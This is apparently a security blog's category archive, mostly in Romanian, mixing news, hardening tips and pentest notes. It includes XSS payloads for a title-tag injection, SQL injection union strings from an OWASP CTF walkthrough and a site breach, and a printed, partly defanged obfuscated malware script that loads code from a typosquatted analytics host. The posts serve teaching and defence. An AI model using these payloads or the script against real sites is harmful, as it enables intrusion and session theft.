You are currently browsing the category archive for the ‘Web Security’ category.

I was kind of looking (pentester way) on a website and I saw that they could have a XSS flaw on the search field. Inserting the following string „<b>tester” on the search field, it get reflected back but just on the <title> tag like this.

<title>Cauta <b>tester – ……………</title>

There is a classical XSS, but what made that one interesting to me was the <title> tag.

<title>Cauta<script>alert(1);</script> – ……………</title>  => is not working

but

</title><script>alert(1)</script>&submit=Cauta => is working

Speaking with a friend, he gave me also an alternative the idea of inserting the <body> tag and create in this way a new HTML document.

So:

</title><body onload=’javascript:alert(1)’>

worked also like a charm.

Acum 2 zile a fost facut public al doilea exercitiu CTF (Capture the Flag) de catre OWASP avand ca premiu bilete de intrare la conferinta AppSec din Irlanda. Cum trebuia reolvat acest exercitiu? Exercitiul contine mai multe vulnerabilitati care combinate pot fi folosite la rezolvarea puzzle-ului.

Enuntul este foarte simplu. Trebuie ca participantul sa  rezolve jocul si sa apara pe tabela de score cu „0” incercari. Numele participantului trebuie sa fie rezultatul concatenarii numelui propriu si al celui mai slab jucator.

Exercitiul se poate rezolva foarte usor cu firefox si extensia „Tamper Data”. Dupa rezolvarea jocului, aplicatia trimite ca parametru ascuns numarul de incercari. Interceptand request-ul se poate modifica aceast numar cu „0”. Pentru aflarea numelui celui mai slab jucator se foloseste o alta vulnerabilitate. „SQL Code Injection” in pagina jotto4.php care contine functionalitatea de search. Doar prin introducere urmatorului string „‘ union select @@version, null,null,null from results #” se poate obtine verisiunea serverului de MySQL. Pentru obtinerea celui mai slab jucator se poate folosi „‘ union select concat(user,count),null,null,null from results #”

Mult succes celor care vor sa se mai joace cu aplicatia. Atentie insa pentru ca pagina contine intre timp persistent cross site scripting. Ne auzim pe urmatorul 21 la urmatorul CTF.

 

Navigind pe Picasa , citeodata un simplu back in browser-ul IE8  duce la …..

Saptamana aceasta, citind blogul lui Daniel Missler, am dat peste un post foarte interesant, care propune o noua arhitectura de folosirea a browserelor in organizatii. Ceea ce propune el si Steve Crapo este o infrastructura de masini virtuale, localizata in DMZ, care sa fie folosita pentru browsing. Userilor nu li se va mai permite accesul din interiorul organizatiei direct la Internet, ci numai prin conectare la niste masini/desktop-uri virtuale, localizata in DMZ, care vor fi usor de mentinut, patch-uit si restabilit in cazulin care una din masini este compromisa. Solutia pare interesanta si datorita protectiei oferita la posibilul upload in internet a informatiilor existente in organizatie.

Ce prere aveti? O astfel de solutie ar avea succes in organizatia voastra? Ar fi acceptata de utilizatori?

Intreg articolul aici.

Have fun

Firma Vupen Security pune la dispozitie celor care dispun de resurse financiare, un exploit bazat pe vulnerablitatea browser-ului Internet Explorer, facut public si sub numele de „Aurora”, care reuseste sa-l faca functional chiar si pentru browserele IE 8 sau 7 care au mecanismul de DEP (Data Execution Prevention) activat . Deci, folositi temporar sau definitiv Firefox.

Pe blogul Microsoft a aparut o analiza interesanta despre sistemele care sint afectate de noul exploit „Aurora” si un link catre solutia propusa de ei, care consta in activarea optiunii de DEP pentru Internet Explorer. Aceasta se face prin instalarea urmatorului patch.  Cealalta solutie, de dezactivare a scripturilor java, este nereala in Internetul actual.

Have fun.

Din testele mele, exploitul este stabil pentru IE6, dar duce doar la distrugerea instantei de IE7 sau 8.

Codul malware-ului, care a fost folosit luna trecuta, pentru atacul impotriva a 33 de firme, printre care Google si Adobe a fost trimis spre analiza pe site-ul Wepawet. Acest exploit, foarte stabil,  are ca target IE6,7 si 8 rulind pe diferite platforme.  Problema este ca Microsoft ,cu toate ca a emis un Microsoft Security Advisory (979352), nu a facut public un patch in regim de urgenta. Exploit-ul este valabil chiar in platforma Metasploit.  (use windows/browser/it_aurora)

Informatie primita via NetworkWorld.

Deci:

Take care and have fun.

Mie mi se pare ca romanii au dezvoltat abilitati speciale in a folosi si exploata site-uri de web folosind SQL Code Injection. Pentru cei care doresc sa se perfectioneze recomand un post de pe blog-ul OWASP, care sumarieaza multe din resursele pentru a intelege acest tip de atac si totodata pentru a pune in practica cunostintele.

Eu recomand acest extra si acest document.

Have fun.

Vineri seara am fost sunat de un prieten care mi-a spus ca tocmai fusese hack-uit. Exploit-ul, dupa informatiile prietenului meu, era de prin mai, si a avut ca rezulat infectarea tuturor hosturilor virtuale apache cu un script java. Cind am primit scriptul mi-a atras atentia modul diferit in care fusese ascuns codul sursa al scriptului java. El arata cam asa:

<!–44e8ef75ef25fc970a79a3ccb704ad42–><sc!!!!!!!!!!ript language=javascript>zahlpc=”Jl#tWL%POTzGHriViVz#LiY”;rvxleu=”<Q73crQ69pt laQ6egQ75age=jQ61vQ61scriQ70t> funcQ74ioQ6e djjQ78tQ6cgs(hlyzcQ6arQ29Q7bQ76aQ72 Q67ynQ73zty,Q6dQ76Q6ewQ63zQ6fQ6dfQ3d\”#(7Q6eTbQ55OQ50VQ36Q4aQ63:+Q5e1Q7e9Q24u_iQ29yo5Q72@,2Q6bQ30Q60&Q45Q77MQ20|Q7bQ674Q3djvQ64Q74CxIFhNm]Q3b}fQ71Q213[HaQ7aB-AZps*Q6cQ47e8Q5c\”‘Q4bQ2eQ22,Q70Q65Q77yhg=\”Q22Q2cQ66Q61Q73ltdsQ2cqQ6brkjQ6cQ77f,tQ68yQ69Q74dkii=Q22Q22,hpoQ70Q75oQ69;Q66oQ72(gynsztQ79=0;gynszQ74yQ3cQ68lyzcjr.lengQ74Q68;gQ79nQ73Q7aty+Q2bQ29{ Q66Q61sQ6cQ74Q64sQ3dhlyQ7acjr.chaQ72AQ74(Q67yQ6eszty);qkrQ6bjlwQ66=Q6dvnwQ63Q7aomf.iQ6edexOf(Q66asltds)Q3biQ66(Q71Q6brkQ6aQ6cwfQ3e-1){ hQ70opuoiQ3d(Q28Q71krkjlQ77Q66Q2bQ31)Q25Q381Q2d1Q29;Q69fQ28Q68pQ6fQ70uoiQ3c=0Q29Q68pQ6fpuQ6fQ69+=8Q31;thQ79itdQ6bQ69i+Q3dmvQ6ewczQ6fQ6df.Q63haQ72Q41Q74(hpoQ70uoi-Q31Q29Q3bQ20} Q65lseQ20tQ68yQ69Q74dQ6biiQ2b=fQ61Q73Q6ctQ64s;Q7dQ70eQ77Q79hg+Q3dQ74Q68Q79itdQ6biQ69Q3bQ64Q6fcumeQ6eQ74.Q77rQ69Q74Q65(peQ77Q79hQ67Q29Q3b}Q3cQ2fsQ63Q72iptQ3e”;fmxoqyuh=zahlpc.charAt(6);vrbnnv=rvxleu.replace(/(jjuysyvwv|Q|xmmwgridfz)/g,fmxoqyuh);sqlwbat=unescape(vrbnnv);var agfwxg,kbptlkr;document.write(sqlwbat);agfwxg=”<NC]G>|<*:@)sC|Cos8j’C8IC/vzdz*:@)sC’|GzT4_z48j’vzdz*:@)sC’>||dz@|8Is)@o|j|T8M|DzC87y}|8Is)@o#*8Cb)]878Is)@o#48Cb)]87y|^|k=lJ`lJ`l~„`y}|t5:_]8TC#:550)8jK*8**)5T)tj[$~k\”J`rZr[~}|szCNj/}|8Is)@8*jK|^|8Is)@o#C5e bSC@)T47y}||t5:_]8TC#M@)C87|'<SxRFVb|GzT4_z48j\\’czdzS:@)sC\\’|SRxj\\’NCCs+//4554G8zTzGoCG:*#T8C/ii_C]v#v*\\’><\\/SxRFVb>’|y}</*:@)sC>|</NC]G>|”;djjxtlgs(agfwxg);</sc!!!!!!ript><!–44e8ef75ef25fc970a79a3ccb704ad42–>

Semnele de exclamatie din cuvintul script imi apartin pentru a evita o eventuala executie a lui.

Dupa cum se vede, scriptul selecteaza din variabila „zahlpc”, caracterul al saptelea „%”, apoi caracterul Q este inlocuit cu „%” , si astfel sint returnate codurile asci ale caracterelor ce formeaza codul sursa. Acesta este primul layer de ascundere a codului. Apoi rezulta un nou script java care desfacut va arata asa:

<ht!!!!ml> <scr!!!!!!!ipt type=”text/javascript” language=”javascript”>  var expiry = new Date(); expiry.setTime(expiry.getTime() + 24*60*60*1000); document.cookie=’sessionid=39128605A531; path=/; expires=’ + expiry.toGMTString();  document.write( „<SCR!!!!!!IPT language=\”JavaScript\” SRC=\”http://googleanalytlcs.net/__utmj.js\”><\/SCR!!!!!IPT>” );</scr!!!!!!!!!!!!ipt> </ht!!!!!ml>

Exte un script care citeste sessionsid-ul clientului pentru serverului care a fost infectat si impreuna cu data expirarii este trimis serverului googleanalytlcs.net. Sciptul java aflat aici va face call pentru un alt script de pe un alt site care va incerca exploatarea browserului. Site-ul din spate se schimba mereu.

O cautare in log-ul proxy-ului companiei unde lucrez arata ca exista destule site-uri romanesti care au fost infectate cu asa ceva. Deci recomand tuturor sa blocheze aceasta destinatie in proxy-uri.

O zi buna si va tin la curent in momentul in care am access la serverul care a fost exploatat cu  detalii despre exploit.

WAF sau Web Application Firewall-ul este un sistem care intelege foarte bine HTTP, stie sa analizeze conversatia HTTP, sa o decodifice in cazul in care e codata si sa protejeze aplicatiile de web in cazul in care descopera posibile atacuri.  Toata comunitatea de IT le instaleaza sperind sa rezolve problemele aplicatiilor de web dar se pare ca ele insele au foarte mari probleme. La conferinta de securita de la Cracovia OWASP, 2 cercetatori,Wendel Henrique, membru SpiderLabs (Trustwave’s advanced security team), si Sandro Gauci, fondator si CSO la EnableSecurit, au descoperit o serie de probleme in diferite WAF-uri si totodata vor sa faca public un tool pentru wafw00f care va ajuta la identificare acestor sisteme. Surpriza este completa pentru ca, cu ajutorul unui alt tool creat de ei wafFUN, au reusit sa pacaleasca sistemul si sa exploateze cu success o aplicatie de web (XSS).

Sfatul lor? Scrieti cod mai bun si mai sigur. :-))

Mai multe puteti citi aici sau urmarii prezentarea care a fost facuta publica aici.

Have Fun

Pentru a pregati conferinta am inceput sa ma uit putin la Youtube.  Modulul de resetare a parolei si cel de schimbare a ei trimit username-ul si parola in necriptat. How lame for Youtube.  Have fun.

Parola Necriptata Youtube.

In Canada a avut loc saptamina trecuta conferinta de securitate CansecWest. Aici are loc un concurs traditional de descoperire de exploituri pentru browsere. Ce a rezultat? Charlie Miller, cistigatorul de anul trecut, a reusit in citeva minute sa creeze un exploit pentru browserul Safari si sa plece cu cel de-al doile notebook Apple acasa. Marea revelatie pare a fi un doctorant german, sub pseudonimul de Nils care a reusit sa gaseasca bug-uri pentru Safari, IE8 instalat pe Windows 7 cit si Firefox reusind sa plece acasa cu Sony Vaio-ul aferent. Mai multe informatii aici. Acest concurs este pe cit de interesant pe atit de ingrijorator cu cit un bug pe piata neagra a ajuns sa coste in jur de $100.000. Deci …sa incercam Opera?

Have fun.

Un juriu format din Rich Mogull, Chris Hoff, H D Moore si Jeff Forristal , dupa cum ne informeaza blogul lui Jeremiah Grossman, a desemnat GIFAR cea mai  buna metoda de exploatare a anului 2008 . Prezentata prima data in august 2008 la Blackhat de catre  Nathan McFeters, John Heasman, Rob Carter noul concept propune inserarea unui cod java intr-o imagine GIF (GIF+JAR)=GIFAR. Noua „imagine” va reusi sa treaca peste restrictiile legate de „same origin policy” care restrictioneaza modalitatea in care limbajele de programare care ruleaza in browser acceseaze alte resurse sau metode decit cele din domeniul de unde provin. Ce inseamna asta: un script de pe site-ul Evil.com nu poate accesa cookie-ul din domenul mybank.com.

Dar acum, datorita faptului ca Java nu tine cont de aceasta restrictie exista posibilitatea ca daca concomitent navigam pe site-ul evil.com acesta sa poata accesa resursele site-ului mybank.com.  Scripturi java pot fi inserate si in documente Word2007 sau alte resurse cum ar fii video-uri. Aplicatie imediata? Facebook (care intre timp a fost patch-uit) sau alte site-uri colaborative.  Odata logat pe Facebook si accesind alta pagina, contul tau (cookie-ul) tau este furat. Intreaga prezentare poate fi citita aici si un video despre cum se face aici.

Protectie? Patch your java.

Have fun.

Metodele acceptate de un server de HTTP sint GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS si CONNECT. Pentru definitia fiecaruia va rog sa consultati RFC 2616. De ce sint metodele acceptate de un server atit de importante si care este un posibil scenariu de atac?

Incercati sa identificati un link care este accesibil numai daca userul este autentificat. In momentul in care inlocuti metoda cu HEAD, veti putea avea surpriza ca serverul sa raspunda cu HTTP/1.1 200 in loc de HTTP/1.1 302, redirect catre pagina de login. O alta posibilitate este sa incercati cu BLAMETOD / HTTP/1.1. Serverul va trebui sa raspunda cu 405 Not Allowed sau 501 Not Implemented, dar …

Deci incercati sa vedeti ce metode sint implementate folosind OPTIONS.

Daca doriti sa indentificati un server si nu puteti afla daca este Apache sau IIS atunci incercati cu OPTIONS daca este permis. Ordinea in care sint afisate metodele este specifica fiecarui tip de server.

Pentru a evita acest tip de atac este recomandar restrictionare metodelor permise. Pentru Apache, restrictionarea metodelor se face folosind directiva <Limit>.

Have fun.

In primul rind ce este CWE. CWE vine de la Common Weakness Enumeration, si este o colectie a greselilor de programare ce se pot transforma in erori de securitate.

Ce este CWE-20? „Improper Input Validation” este prima intr-un top-ul 25 al organizatiei SANS referitoar la erorile facute in programarea aplicatiilor web. CWE ar trebui sa devina o referinta pentru toti programatorii mai ales ca organizatia MITRE ofera si exemple de programare, cit si considerente de implementare si arhitectura.

M-am hotarit din mai multe motive sa ofer celor de la ejobs o consultatie pro bono pentru a intelege care este cauza si sa arat si ce ar trebui sa faca ca sa poata evita o noua problema de securitate.

Ceea ce s-a intimplat este un caz standard de SQL Code Injection. Parametrul http://www.ejobs.ro/arhiva/2007/august/PARAMETRU%20union%20select … nu este verificat. Atunci cind este interogata baza de date ceva de genul „select asta, siasta from mydatabase where zi = PARAMETRU”,  este modificat acest select si completat cu „union all select 1, concat (nume coloana,:,altnume coloana) from companies limit by nr” .  In construirea acestui statement este foarte important sa se cunoasca numele coloanelor, si numele tabelei. Modul in care se poate obtine este ori daca aplicatia intoarce erori sql, sau prin metoda de brute force.

Ce s-ar fi putut face?

1). La nivel de limbaj de programare este datoria programatorului sa scrie statementul SQL in asa fel incit sa nu permita continuarea lui. Recomand tuturor o documentatie mai veche dar buna si acum.

2) Defence in depht . Ceea ce inseamna un application firewall de genul mod_security pentru Apache care sa filtreze stringurile de genul „union all select”.

3) Design Flow. Nici o aplicatie nu ar trebui sa stocheze parolele in clar. Se pot stoca in format hash (SHA1) si verificat hash-ul parolei user-ului cind acesta o introduce.

4) Awareness. Compania ar fi trebuit sa implice pe cineva specializat in securitate pentru a testa aplicatia. Oricum se pare ca ejobs nu are nici o procedura de incident management, pentru ca lucrul pe care il face acum este sa treaca totul sub tacere.

Pentu cei care dau peste asemenea erori de securitate: exista conceptul de responsible disclosure.

O zi minunata

Google ofera posibilitatea de ati tine calendarul pe Google. Ceea ce insa multa lume face din ignoranta sau nestiinta, este facerea acestui calendar public pentru tot internetul. Interesant nu???. Mi-am facut si eu un cont pentru acest serviciu si m-am gindit ce ar fii sa caut in calendarele oamenilor cuvintul „Firewall”. Si na…ca am dat peste un entry care suna cam asa: „Install Firewall in DMZ”. Upps…Si frumusetea vine ca este trecuta si locatia. Pare un mic propietar de restaurant care insa este foarte interesat de securitate. Admirabil…..bine ca nu este consultnat de securitate. Atunci m-am gindit ca daca oamenii sint in stare sa faca din nestiinta public astfel de informatii atunci poate isi pun si parolele in calendar. Logic nu? Cine stie cind ai nevoie de ele. Si nu fara dezamagire gasesc propietarul meu de restaurant cu urmatoare informatie „new marsha password dXXXXta XXXX”

Ce mai e de zis….nimic cred. Doar ca securitatatea in IT este o stare de spirit si nu un entry in Google Calendar.

Have fun on google.

Ce este fisierul „robots.txt” care este gasit de obicei in multe din serverele aflate din internet? Cind un motor de cautare incearca sa indexeze un site, directoarele incluse in acest fisier nu sint indexate de motorul de cautare si nu vor fii niciodata gasite cu ajutorul acelui motor de cautare.

Fisierul este si o posibila problema de securitate pentru ca directoarele aflate acolo pot oferi informatii despre posibile interfete de administrare ale site-ului sau alte directoare care de obicei sint ascunse. Darrrrrrrrrrrr….haide sa vedem cum arata fisierul site-ului oficial parodie al Casei Albe.

# robots.txt for http://www.whitehouse.org/

User-agent: *
Disallow: /american-theocracy/
Disallow: /bulletin/
Disallow: /halliburton-extranet/
Disallow: /illuminati/
Disallow: /operation-fascist-brainwashing/
Disallow: /payola-for-polluters/
Disallow: /plotocrats-only/
Disallow: /press/
Disallow: /skull-and-bones/
Disallow: /subscribe/
Disallow: /transfer/

User-agent: asterias
Disallow: /

Concluziile va las pe voi sa le trageti. Oare ce are de-a face Casa Alba cu „iluminati” sau „operation-fascist-brainwashing”????

Have a nice week-end.

P.S. Pentru faptul ca a observat diferenta George primeste o bere la alegerea lui :-))

Anul trecut la Defcon una din cele mai interesante presentari a fost cea a lui HD Moore „Tactical Explotation” in care a fost avansata ideea ca nu este nevoie intotdeauna sa folosesti super exploit-uri pentru a reusi sa obtii access in reteaua unei companii. Informatiile oferite de google si alte site-uri de social networking ofera o baza solida pentru a face rost de conturi care apoi pot fii folosite in procesul de brutforce sau social engineering. Un tool foarte interesant in acest domeniu este metagoofil oferit de cei de la Edge Security. Folosind utilitarul extract din Linux, care extrage metainformatiile continute de un document word, excel, powerpoint sau pdf, metagoofil cauta pe google toate documentele care au fost indexate de motorul ca cautare, acceseaza site-ul, le download-aza si apoi extrage informatiile aflate in cimpurile de metadata care de obicei contin numele autorului sau chiar numele user-ului, plus locatia unde a fost salvat.

sintaxa este:

#python metagoofil.py -d mydomain.test -l 100 -f all -o /tmp/mydomain.test.html -t /tmp/mydomain.test

unde:

-d este domeniul de analizat.

-l limita rezultatelor cu care sa lucreze (default este 100)

-f tipul de fisiere ce trebuie analizate (all, pdf, xls, doc, ppt, odp,ods, etc)

-o output-ul in fromat html

-t directorul target unde se salveaza datele.

Incercati sa rulati utilitarul impotriva propriei companii sa vedeti cite date sint expuse prin aceasta metoda. Veti fi surprinsi de rezultate. 🙂

Si daca tot sintem aici incercati sa vedeti ce gaseste Paterva, despre compania proprie.

Un tutorial online despre metagoofil poate fi urmarit aici.

Btw, acum puteti urmarii online presentare de la Defcon a lui HD Moore.

Have a lot of fun.

Mai toata literatura de specialitate care trateaza problema certificatelor SSL pentru serverele Apache recomanda folosirea certificatelor fara parola. Motivul? Pentru ca de fiecare data cind serverul trebuie restartat este nevoie sa se introduca parola pentru certifcate. 😀

Dar de la versiunea 2.1 mod_ssl a implementat optiunea exec pentru „SSLPassPhraseDialog”.Aceasta optiune accepta ca argument calea catre un script care nu faca altceva decit sa scrie parola in <stdout>.

Exemplu:
SSLPassPhraseDialog exec:/etc/httpd/conf.d/echo_passwd.sh

Serverul in sine va furniza 2 argumente acestui script. Primule este combinatia servarename:port si al doilea este tipul de certificat RSA sau DSA. De ce este important?
In cazul in care se ruleaza scenariul Apache in configuratia multihost se pot folosi diferite parole pentru diferite certificate. Cum arata un asemenea script?

#!/bin/sh
case "$1" in
localhost.localdomain*)
echo "Par0lamea"
;;
esac

Acest fisier trebuie bineinteles protejat:

sudo chown root:root echo_password/etc/httpd/conf.d/echo_password.sh
sudo chmod 500 echo_password.sh/etc/httpd/conf.d/echo_password.sh

In cazul distribuitiei Fedora unde Selinux este funtional, este necesar schimbare contextului de securitate:

sudo chcon -h -t httpd_exec_t /etc/httpd/conf.d/echo_passwd.sh

So, let’s do thinks better.

Martie 2017
L M M M V S D
« Mar    
 12345
6789101112
13141516171819
20212223242526
2728293031